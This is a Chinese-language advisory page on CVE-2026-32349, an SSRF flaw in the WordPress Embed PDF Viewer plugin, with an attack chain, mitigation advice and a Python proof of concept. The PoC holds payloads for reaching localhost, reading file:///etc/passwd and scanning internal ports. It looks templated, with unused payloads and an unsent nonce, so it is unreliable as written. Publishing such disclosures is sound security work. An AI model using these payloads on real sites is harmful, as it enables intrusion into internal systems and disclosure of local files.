CVE-2026-32349 CVSS 4.9 中危

CVE-2026-32349 WordPress Embed PDF Viewer插件SSRF漏洞

披露日期: 2026-03-13

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-32349

漏洞类型

服务器端请求伪造(SSRF)

CVSS评分

4.9 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Embed PDF Viewer (WordPress插件 by Andy Fragen)

漏洞概述

CVE-2026-32349是WordPress插件Embed PDF Viewer中的一个服务器端请求伪造(SSRF)漏洞。该漏洞存在于插件的嵌入PDF查看功能中，攻击者可以通过构造恶意请求，诱导服务器向任意内部或外部资源发起请求。由于该插件在处理PDF嵌入时未对用户输入的URL进行充分的验证和过滤，攻击者可以利用此漏洞访问内部系统、扫描内网端口或获取敏感信息。CVSS评分4.9，属于中危漏洞，需要低权限认证但无需用户交互即可利用。

技术细节

该SSRF漏洞源于Embed PDF Viewer插件在处理PDF文件URL时缺乏输入验证。攻击者可以通过插件的参数或配置选项注入恶意URL，服务器将作为代理向目标地址发起请求。漏洞利用的关键在于插件会直接使用用户提供的URL来获取PDF内容，而没有验证URL的合法性或限制请求目标。攻击者可利用此漏洞访问内部服务（如localhost、192.168.x.x等内网地址）、探测内网端口、或通过file://协议读取本地文件。在某些配置下，攻击者还可能通过DNS重绑定或302重定向绕过基础过滤机制。

攻击链分析

STEP 1

步骤1

攻击者识别目标WordPress网站是否安装Embed PDF Viewer插件且版本<=2.4.7

STEP 2

步骤2

攻击者构造包含恶意URL的请求，如内网地址(file://、http://localhost等)

STEP 3

步骤3

通过插件的AJAX端点或前端功能提交构造的URL参数

STEP 4

步骤4

服务器在后台向攻击者指定的URL发起请求，绕过防火墙访问内部资源

STEP 5

步骤5

攻击者获取服务器返回的响应内容，可能包含内网服务信息、本地文件内容或端口状态

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# CVE-2026-32349 SSRF PoC for Embed PDF Viewer Plugin
# Target: WordPress site with Embed PDF Viewer <= 2.4.7

target_url = "http://target-wordpress-site.com"

# SSRF payload to access internal service
ssrf_payload = {
    "url": "http://localhost:80/admin",
    "embed_pdf_viewer_nonce": "attacker_controlled_nonce"
}

# Alternative: Read local file via file:// protocol
file_ssrf_payload = {
    "url": "file:///etc/passwd",
    "embed_pdf_viewer_nonce": "attacker_controlled_nonce"
}

# Internal port scanning via SSRF
port_scan_payload = {
    "url": "http://192.168.1.1:22",
    "embed_pdf_viewer_nonce": "attacker_controlled_nonce"
}

# Send exploit request
endpoint = f"{target_url}/wp-admin/admin-ajax.php"
data = {
    "action": "embed_pdf_viewer",
    "pdf_url": ssrf_payload["url"]
}

response = requests.post(endpoint, data=data)
print(f"Status: {response.status_code}")
print(f"Response: {response.text[:500]}")

影响范围

Embed PDF Viewer <= 2.4.7

防御指南

临时缓解措施

在官方修复版本发布前，可暂时禁用Embed PDF Viewer插件，或通过Web应用防火墙限制对插件AJAX端点的访问。建议管理员审查插件配置，移除不必要的PDF嵌入功能，并监控异常的网络请求模式。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表